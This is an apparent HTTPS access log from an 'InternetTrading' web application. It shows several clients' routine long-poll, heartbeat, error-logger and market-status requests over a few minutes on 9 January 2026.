[09/Jan/2026:13:57:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938544879 HTTP/1.1" -
[09/Jan/2026:13:57:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938548031 HTTP/1.1" -
[09/Jan/2026:13:58:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938555669 HTTP/1.1" -
[09/Jan/2026:13:58:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938566436 HTTP/1.1" -
[09/Jan/2026:13:58:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938549915 HTTP/1.1" -
[09/Jan/2026:13:58:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:58:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938553298 HTTP/1.1" -
[09/Jan/2026:13:58:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938560739 HTTP/1.1" -
[09/Jan/2026:13:58:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938571491 HTTP/1.1" -
[09/Jan/2026:13:58:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938554995 HTTP/1.1" -
[09/Jan/2026:13:58:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938558396 HTTP/1.1" -
[09/Jan/2026:13:58:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:58:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:58:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938565911 HTTP/1.1" -
[09/Jan/2026:13:58:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:58:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938576569 HTTP/1.1" -
[09/Jan/2026:13:58:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938560081 HTTP/1.1" -
[09/Jan/2026:13:58:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938563458 HTTP/1.1" -
[09/Jan/2026:13:58:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938570978 HTTP/1.1" -
[09/Jan/2026:13:58:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938581587 HTTP/1.1" -
[09/Jan/2026:13:58:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938565145 HTTP/1.1" -
[09/Jan/2026:13:58:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:58:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:58:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938568573 HTTP/1.1" -
[09/Jan/2026:13:58:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938576077 HTTP/1.1" -
[09/Jan/2026:13:58:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938586678 HTTP/1.1" -
[09/Jan/2026:13:58:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938570216 HTTP/1.1" -
[09/Jan/2026:13:58:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:58:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:58:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938573713 HTTP/1.1" -
[09/Jan/2026:13:58:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938581107 HTTP/1.1" -
[09/Jan/2026:13:58:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938591739 HTTP/1.1" -
[09/Jan/2026:13:58:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938575282 HTTP/1.1" -
[09/Jan/2026:13:58:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938578926 HTTP/1.1" -
[09/Jan/2026:13:58:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938586185 HTTP/1.1" -
[09/Jan/2026:13:58:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938596805 HTTP/1.1" -
[09/Jan/2026:13:58:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938580328 HTTP/1.1" -
[09/Jan/2026:13:58:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:58:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938584062 HTTP/1.1" -
[09/Jan/2026:13:58:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938591283 HTTP/1.1" -
[09/Jan/2026:13:58:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938601876 HTTP/1.1" -
[09/Jan/2026:13:58:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938585405 HTTP/1.1" -
[09/Jan/2026:13:58:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:58:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:58:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938589113 HTTP/1.1" -
[09/Jan/2026:13:58:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938596364 HTTP/1.1" -
[09/Jan/2026:13:58:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:58:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938606938 HTTP/1.1" -
[09/Jan/2026:13:58:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938590472 HTTP/1.1" -
[09/Jan/2026:13:58:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938594251 HTTP/1.1" -
[09/Jan/2026:13:58:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938601448 HTTP/1.1" -
[09/Jan/2026:13:58:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938611958 HTTP/1.1" -
[09/Jan/2026:13:58:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938595535 HTTP/1.1" -
[09/Jan/2026:13:58:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:58:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:58:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938599357 HTTP/1.1" -
[09/Jan/2026:13:58:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938606523 HTTP/1.1" -
[09/Jan/2026:13:58:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938616984 HTTP/1.1" -
[09/Jan/2026:13:58:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938600595 HTTP/1.1" -
[09/Jan/2026:13:58:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:58:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:58:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:58:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938604639 HTTP/1.1" -
[09/Jan/2026:13:58:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938611561 HTTP/1.1" -
[09/Jan/2026:13:58:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938622188 HTTP/1.1" -
[09/Jan/2026:13:58:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938605676 HTTP/1.1" -
[09/Jan/2026:13:59:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938609791 HTTP/1.1" -
[09/Jan/2026:13:59:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938616659 HTTP/1.1" -
[09/Jan/2026:13:59:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938610739 HTTP/1.1" -
[09/Jan/2026:13:59:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938628193 HTTP/1.1" -
[09/Jan/2026:13:59:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:59:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938614923 HTTP/1.1" -
[09/Jan/2026:13:59:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938621732 HTTP/1.1" -
[09/Jan/2026:13:59:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938615809 HTTP/1.1" -
[09/Jan/2026:13:59:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938634191 HTTP/1.1" -
[09/Jan/2026:13:59:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
